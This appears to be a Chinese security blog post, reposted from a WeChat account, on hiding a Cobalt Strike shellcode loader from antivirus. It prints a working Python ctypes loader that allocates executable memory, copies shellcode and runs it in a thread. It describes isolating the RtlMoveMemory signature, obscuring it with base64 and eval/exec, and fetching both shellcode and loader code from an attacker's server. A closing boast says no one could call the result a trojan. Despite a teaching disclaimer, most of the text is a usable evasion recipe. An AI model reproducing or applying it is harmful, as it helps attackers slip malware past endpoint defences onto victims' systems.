文章总结: 文章介绍了Python实现CS免杀的技术,通过分离shellcode和混淆关键代码来绕过杀毒软件检测。作者通过单步查杀方法确定了火绒杀软的特征码是RtlMoveMemory,然后使用base64编码和eval/exec函数来隐藏特征码,最终将关键代码放在服务器端,实现免杀效果。
综合评分: 91
文章分类: 免杀,渗透测试,WEB安全,红队,实战经验
【超详细 | Python】CS免杀-分离+混淆免杀思路
渗透Xiao白帽
2021年2月8日 00:01
编者荐语:
nice
以下文章来源于XG小刚
,作者XG小刚
XG小刚
.
小刚知识库,一线厂商渗透多年,涉及Web安全,waf绕过,代码审计,操作系统,内网渗透,免杀技术,Python编程,乱七杂八等等。
一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚
混淆语句+分离免杀
特征码
杀软的静态扫描,基本是按照匹配特征码,根据哈希算法从病毒体中提取的病毒特征码,逐个与程序文件的md5比较。
但是呢程序的内容只要稍微微改动一点,md5值就会改变
所以杀软还有一种方法是通过模糊哈希算法 ,找出一段不会改变的程序作为特征码,匹配这段程序的就当木马病毒处理
loader加载器
这是网上python通用的shellcode loader
加载器原理请看这《CS免杀-Shellcode Loader原理(python)》
这个加载器我先将shellcode进行hex和base64编码分离放在了服务器端,所以静态查杀只查loader部分
接下来就通过单步走找出特征码
我使用的pyinstaller将程序打包成exe
pyinstaller --noconsole --onefile test.py
上面加载器没任何处理,进行打包是会被火绒查杀的
单步查杀
我们将第一条语句留着,其他的全部删除,打包exe发现没有查杀
然后每次打包增加一条语句,直到发现进行了查杀
将该语句删除,其他的全部打包,发现不报病毒了
找到特征码
到这我们可以确定,这段代码中包含着火绒的特征码
这是调用win的操作内存的语句
ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
根据模糊哈希的意思呢,这个语句md5应该不会变,可这后面参数想咋变就咋变啊。。。
深入研究发现,特征码原来在前面,只要有RltMoveMemory这段字符就会查杀
所以确定RltMoveMemory这段字符就是特征码
知道了特征码是啥,那就将它进行处理
混淆语句
有两种思路,一是换一个可以达到相同效果的函数,但我没找到,RltCopyMemory也会被查杀
另一种思路就是该字符明面上不出现在语句当中
直接将整个语句加密,用eval或exec函数运行
将上面语句base64转码,eval运行解码的语句
string = '''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=='''eval(base64.b64decode(string))
明面上没有特征码了,所以就绕过火绒了
这里的话基本是够用了。
但是!!
既然shellcode能放在服务器上,那我们的loader是否也可以尝试一下。。
这里eval函数不够用了,只能运行一条语句
换成exec函数,可以将Python代码用分号;连接起来运行
a = '''ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64;ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40));buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)));handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))'''
exec(a)
尝试可行
进行base64编码,放在我的服务器2.txt文件中
最后查杀代码部分就剩这点了
只要你服务器不被标记恶意主机
今就是天王老子来了也不敢说他是木马!!
【往期推荐】
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:渗透Xiao白帽 《【超详细 | Python】CS免杀-分离+混淆免杀思路》